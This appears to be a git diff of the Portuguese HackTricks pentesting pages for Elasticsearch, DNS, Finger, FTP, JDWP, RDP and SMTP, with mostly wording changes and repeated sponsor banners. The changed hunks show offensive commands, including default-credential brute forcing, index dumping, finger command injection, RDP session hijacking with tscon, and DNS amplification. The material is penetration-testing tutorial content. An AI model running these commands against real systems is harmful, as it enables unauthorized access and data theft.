Um **índice** do Elasticsearch é uma coleção de **documentos relacionados** armazenados como **JSON**. Cada documento consiste em **chaves** e seus correspondentes **valores** (strings, números, booleanos, datas, arrays, geolocalizações, etc.).
|
||||
Um **índice** Elasticsearch é uma coleção de **documentos relacionados** armazenados como **JSON**. Cada documento consiste em **chaves** e seus correspondentes **valores** (strings, números, booleanos, datas, arrays, geolocalizações, etc.).
|
||||
|
||||
Elasticsearch usa uma estrutura de dados eficiente chamada **índice invertido** para facilitar buscas rápidas em texto completo. Este índice lista cada palavra única nos documentos e identifica os documentos em que cada palavra aparece.
|
||||
|
||||
|
@ -37,7 +37,7 @@ Durante o processo de indexação, o Elasticsearch armazena os documentos e cons
|
|||
|
||||
**Porta padrão**: 9200/tcp
|
||||
|
||||
## Manual Enumeration
|
||||
## Enumeração Manual
|
||||
|
||||
### Banner
|
||||
|
||||
|
@ -47,7 +47,7 @@ O protocolo usado para acessar o Elasticsearch é **HTTP**. Quando você o acess
|
|||
|
||||
Se você não ver essa resposta acessando `/`, veja a seção seguinte.
|
||||
|
||||
### Authentication
|
||||
### Autenticação
|
||||
|
||||
**Por padrão, o Elasticsearch não tem autenticação habilitada**, então, por padrão, você pode acessar tudo dentro do banco de dados sem usar credenciais.
|
||||
|
||||
|
@ -60,8 +60,8 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
|
|||
```bash
|
||||
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
|
||||
```
|
||||
Isso significa que a autenticação está configurada e **você precisa de credenciais válidas** para obter qualquer informação do elasticsearch. Então, você pode [**tentar fazer brute force**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (ele usa autenticação básica HTTP, então qualquer coisa que faça BF de autenticação básica HTTP pode ser usada).\
|
||||
Aqui está uma **lista de nomes de usuário padrão**: _**elastic** (superusuário), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_._ Versões mais antigas do Elasticsearch têm a senha padrão **changeme** para este usuário.
|
||||
Isso significa que a autenticação está configurada e **você precisa de credenciais válidas** para obter qualquer informação do elasticsearch. Então, você pode [**tentar fazer bruteforce**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (ele usa autenticação básica HTTP, então qualquer coisa que BF autenticação básica HTTP pode ser usada).\
|
||||
Aqui está uma **lista de nomes de usuário padrão**: _**elastic** (superusuário), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_. As versões mais antigas do Elasticsearch têm a senha padrão **changeme** para este usuário.
|
||||
```
|
||||
curl -X GET http://user:password@IP:9200/
|
||||
```
|
||||
|
@ -114,7 +114,7 @@ Em `/_security/user` (se a autenticação estiver habilitada) você pode ver qua
|
|||
|
||||
### Indices
|
||||
|
||||
Você pode **coletar todos os índices** acessando `http://10.10.10.115:9200/_cat/indices?v`
|
||||
Você pode **reunir todos os índices** acessando `http://10.10.10.115:9200/_cat/indices?v`
|
||||
```
|
||||
health status index uuid pri rep docs.count docs.deleted store.size pri.store.size
|
||||
green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb
|
||||
|
@ -139,7 +139,7 @@ _Nota: Se você indicar um número maior, todas as entradas serão extraídas de
|
|||
|
||||
### Dump all
|
||||
|
||||
Para extrair tudo, você pode simplesmente ir para o **mesmo caminho de antes, mas sem indicar nenhum índice** `http://host:9200/_search?pretty=true` como `http://10.10.10.115:9200/_search?pretty=true`\
|
||||
Para extrair tudo, você pode simplesmente ir para o **mesmo caminho que antes, mas sem indicar nenhum índice** `http://host:9200/_search?pretty=true` como `http://10.10.10.115:9200/_search?pretty=true`\
|
||||
Lembre-se de que, neste caso, o **limite padrão de 10** resultados será aplicado. Você pode usar o parâmetro `size` para extrair uma **maior quantidade de resultados**. Leia a seção anterior para mais informações.
|
||||
|
||||
### Search
|
||||
|
@ -166,7 +166,7 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j
|
|||
"name" : "how to get a job"
|
||||
}'
|
||||
```
|
||||
Esse cmd criará um **novo índice** chamado `bookindex` com um documento do tipo `books` que tem os atributos "_bookId_", "_author_", "_publisher_" e "_name_"
|
||||
Esse cmd criará um **novo índice** chamado `bookindex` com um documento do tipo `books` que possui os atributos "_bookId_", "_author_", "_publisher_" e "_name_"
|
||||
|
||||
Observe como o **novo índice aparece agora na lista**:
|
||||
|
||||
|
@ -190,9 +190,9 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem que você eleve privilégios e use exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -48,7 +48,7 @@ PORT STATE SERVICE REASON
|
|||
### **Captura de Banner**
|
||||
|
||||
Não há banners no DNS, mas você pode capturar a consulta mágica para `version.bind. CHAOS TXT`, que funcionará na maioria dos servidores de nomes BIND.\
|
||||
Você pode realizar essa consulta usando `dig`:
|
||||
Você pode realizar esta consulta usando `dig`:
|
||||
```bash
|
||||
dig version.bind CHAOS TXT @DNS
|
||||
```
|
||||
|
@ -60,7 +60,7 @@ Também é possível capturar o banner com um script **nmap**:
|
|||
```
|
||||
### **Qualquer registro**
|
||||
|
||||
O registro **ANY** pedirá ao servidor DNS para **retornar** todas as **entradas** disponíveis que **está disposto a divulgar**.
|
||||
O registro **ANY** pedirá ao servidor DNS que **retorne** todas as **entradas** disponíveis que **está disposto a divulgar**.
|
||||
```bash
|
||||
dig any victim.com @<DNS_IP>
|
||||
```
|
||||
|
@ -115,7 +115,7 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
|||
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Se você conseguir encontrar subdomínios resolvendo para endereços IP internos, deve tentar realizar um BF de dns reverso para os NSs do domínio solicitando aquele intervalo de IP.
|
||||
Se você conseguir encontrar subdomínios resolvendo para endereços IP internos, deve tentar realizar um BF reverso de dns para os NSs do domínio solicitando aquele intervalo de IP.
|
||||
{% endhint %}
|
||||
|
||||
Outra ferramenta para isso: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
|
||||
|
@ -157,7 +157,7 @@ dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns
|
|||
```
|
||||
### DNS Recursion DDoS
|
||||
|
||||
Se **a recursão DNS estiver habilitada**, um atacante poderia **falsificar** a **origem** no pacote UDP para fazer com que o **DNS enviasse a resposta para o servidor da vítima**. Um atacante poderia abusar dos tipos de registro **ANY** ou **DNSSEC**, pois costumam ter as respostas maiores.\
|
||||
Se **a recursão DNS estiver habilitada**, um atacante poderia **falsificar** a **origem** no pacote UDP para fazer com que o **DNS envie a resposta para o servidor da vítima**. Um atacante poderia abusar dos tipos de registro **ANY** ou **DNSSEC**, pois costumam ter as respostas maiores.\
|
||||
A maneira de **verificar** se um DNS suporta **recursão** é consultar um nome de domínio e **verificar** se a **bandeira "ra"** (_recursão disponível_) está na resposta:
|
||||
```bash
|
||||
dig google.com A @<IP>
|
||||
|
@ -172,7 +172,7 @@ dig google.com A @<IP>
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -185,7 +185,7 @@ Através da análise de uma notificação de não entrega (NDN) acionada por um
|
|||
O relatório de não entrega fornecido inclui informações como:
|
||||
|
||||
* O servidor gerador foi identificado como `server.example.com`.
|
||||
* Um aviso de falha para `user@example.com` com o código de erro `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` foi retornado.
|
||||
* Um aviso de falha para `user@example.com` com o código de erro `#550 5.1.1 RESOLVER.ADR.RecipNotFound; não encontrado` foi retornado.
|
||||
* Endereços IP internos e nomes de host foram divulgados nos cabeçalhos da mensagem original.
|
||||
```markdown
|
||||
The original message headers were modified for anonymity and now present randomized data:
|
||||
|
@ -289,7 +289,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -25,7 +25,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## **Informações Básicas**
|
||||
|
||||
O programa/serviço **Finger** é utilizado para recuperar detalhes sobre usuários de computador. Normalmente, as informações fornecidas incluem o **nome de login do usuário, nome completo** e, em alguns casos, detalhes adicionais. Esses detalhes extras podem incluir a localização do escritório e o número de telefone (se disponível), o horário em que o usuário fez login, o período de inatividade (tempo ocioso), a última vez que o e-mail foi lido pelo usuário e o conteúdo dos arquivos de plano e projeto do usuário.
|
||||
O programa/serviço **Finger** é utilizado para recuperar detalhes sobre usuários de computadores. Normalmente, as informações fornecidas incluem o **nome de login do usuário, nome completo** e, em alguns casos, detalhes adicionais. Esses detalhes extras podem incluir a localização do escritório e o número de telefone (se disponível), o horário em que o usuário fez login, o período de inatividade (tempo ocioso), a última vez que o e-mail foi lido pelo usuário e o conteúdo dos arquivos de plano e projeto do usuário.
|
||||
|
||||
**Porta padrão:** 79
|
||||
```
|
||||
|
@ -68,14 +68,14 @@ finger "|/bin/ls -a /@example.com"
|
|||
```
|
||||
## Finger Bounce
|
||||
|
||||
[Use um sistema como um relay de finger](https://securiteam.com/exploits/2BUQ2RFQ0I/)
|
||||
[Use um sistema como um relé de finger](https://securiteam.com/exploits/2BUQ2RFQ0I/)
|
||||
```
|
||||
finger user@host@victim
|
||||
finger @internal@external
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -39,16 +39,16 @@ Se você tiver acesso a um servidor FTP de bounce, pode fazer com que ele solici
|
|||
1. Conecte-se ao seu próprio servidor FTP e torne a conexão passiva \(comando pasv\) para que ele escute em um diretório onde o serviço da vítima enviará o arquivo
|
||||
2. Crie o arquivo que será enviado pelo servidor FTP intermediário para o servidor da vítima \(o exploit\). Este arquivo será um texto simples com os comandos necessários para autenticar contra o servidor da vítima, mudar o diretório e baixar um arquivo para seu próprio servidor.
|
||||
3. Conecte-se ao servidor FTP intermediário e faça o upload do arquivo anterior
|
||||
4. Faça o servidor FTP intermediário estabelecer uma conexão com o servidor da vítima e enviar o arquivo de exploit
|
||||
4. Faça o servidor FTP intermediário estabelecer uma conexão com o servidor da vítima e enviar o arquivo exploit
|
||||
5. Capture o arquivo em seu próprio servidor FTP
|
||||
6. Exclua o arquivo de exploit do servidor FTP intermediário
|
||||
6. Exclua o arquivo exploit do servidor FTP intermediário
|
||||
|
||||
Para informações mais detalhadas, confira o post: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas 20+ ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -48,7 +48,7 @@ Eu descobri que o uso de `--break-on 'java.lang.String.indexOf'` torna a explora
|
|||
2. **Handshake do JDWP**:
|
||||
- Um simples processo de handshake é usado para iniciar a comunicação. Uma string ASCII de 14 caracteres “JDWP-Handshake” é trocada entre o Depurador (cliente) e o Depurado (servidor).
|
||||
|
||||
3. **Comunicação do JDWP**:
|
||||
3. **Comunicação JDWP**:
|
||||
- As mensagens têm uma estrutura simples com campos como Comprimento, Id, Flag e CommandSet.
|
||||
- Os valores do CommandSet variam de 0x40 a 0x80, representando diferentes ações e eventos.
|
||||
|
||||
|
@ -80,7 +80,7 @@ Eu descobri que o uso de `--break-on 'java.lang.String.indexOf'` torna a explora
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -45,13 +45,13 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas 20+ ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
<summary>Suporte HackTricks</summary>
|
||||
<summary>Suporte o HackTricks</summary>
|
||||
|
||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -72,7 +72,7 @@ rdp_check <domain>/<name>:<password>@<IP>
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -82,7 +82,7 @@ rdp_check <domain>/<name>:<password>@<IP>
|
|||
|
||||
### Roubo de sessão
|
||||
|
||||
Com **permissões de SYSTEM**, você pode acessar qualquer **sessão RDP aberta por qualquer usuário** sem precisar saber a senha do proprietário.
|
||||
Com **permissões de SYSTEM** você pode acessar qualquer **sessão RDP aberta por qualquer usuário** sem precisar saber a senha do proprietário.
|
||||
|
||||
**Obtenha sessões abertas:**
|
||||
```
|
||||
|
@ -94,7 +94,7 @@ tscon <ID> /dest:<SESSIONNAME>
|
|||
```
|
||||
Agora você estará dentro da sessão RDP selecionada e terá que se passar por um usuário usando apenas ferramentas e recursos do Windows.
|
||||
|
||||
**Importante**: Ao acessar uma sessão RDP ativa, você desconectará o usuário que a estava utilizando.
|
||||
**Importante**: Ao acessar uma sessão RDP ativa, você desconectará o usuário que estava usando-a.
|
||||
|
||||
Você pode obter senhas do processo despejando-o, mas este método é muito mais rápido e permite que você interaja com as áreas de trabalho virtuais do usuário (senhas no bloco de notas sem serem salvas no disco, outras sessões RDP abertas em outras máquinas...)
|
||||
|
||||
|
@ -134,7 +134,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
|||
* Controlar a área de transferência de forma automatizada a partir da linha de comando
|
||||
* Criar um proxy SOCKS a partir do cliente que canaliza a comunicação de rede para o alvo via RDP
|
||||
* Executar comandos SHELL e PowerShell arbitrários no alvo sem fazer upload de arquivos
|
||||
* Fazer upload e download de arquivos para/de o alvo mesmo quando as transferências de arquivos estão desativadas no alvo
|
||||
* Fazer upload e download de arquivos para/de o alvo mesmo quando transferências de arquivos estão desativadas no alvo
|
||||
|
||||
## Comandos Automáticos HackTricks
|
||||
```
|
||||
|
@ -157,7 +157,7 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -169,11 +169,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Suporte ao HackTricks</summary>
|
||||
|
||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -200,7 +200,7 @@ RemoteCmd()
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
|
|
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas 20+ ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -38,7 +38,7 @@ PORT STATE SERVICE REASON VERSION
|
|||
|
||||
Se você tiver a oportunidade de **fazer a vítima te enviar um email** (via formulário de contato da página da web, por exemplo), faça isso porque **você pode aprender sobre a topologia interna** da vítima vendo os cabeçalhos do email.
|
||||
|
||||
Você também pode obter um email de um servidor SMTP tentando **enviar para aquele servidor um email para um endereço inexistente** (porque o servidor enviará para o atacante um email NDN). Mas, certifique-se de que você envie o email de um endereço permitido (verifique a política SPF) e que você possa receber mensagens NDN.
|
||||
Você também pode obter um email de um servidor SMTP tentando **enviar para esse servidor um email para um endereço inexistente** (porque o servidor enviará para o atacante um email NDN). Mas, certifique-se de que você envie o email de um endereço permitido (verifique a política SPF) e que você possa receber mensagens NDN.
|
||||
|
||||
Você também deve tentar **enviar conteúdos diferentes porque pode encontrar informações mais interessantes** nos cabeçalhos, como: `X-Virus-Scanned: by av.domain.com`\
|
||||
Você deve enviar o arquivo de teste EICAR.\
|
||||
|
@ -68,7 +68,7 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
|||
```
|
||||
### NTLM Auth - Divulgação de informações
|
||||
|
||||
Se o servidor suportar NTLM auth (Windows), você pode obter informações sensíveis (versões). Mais informações [**aqui**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
|
||||
Se o servidor suportar autenticação NTLM (Windows), você pode obter informações sensíveis (versões). Mais informações [**aqui**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
|
||||
```bash
|
||||
root@kali: telnet example.com 587
|
||||
220 example.com SMTP Server Banner
|
||||
|
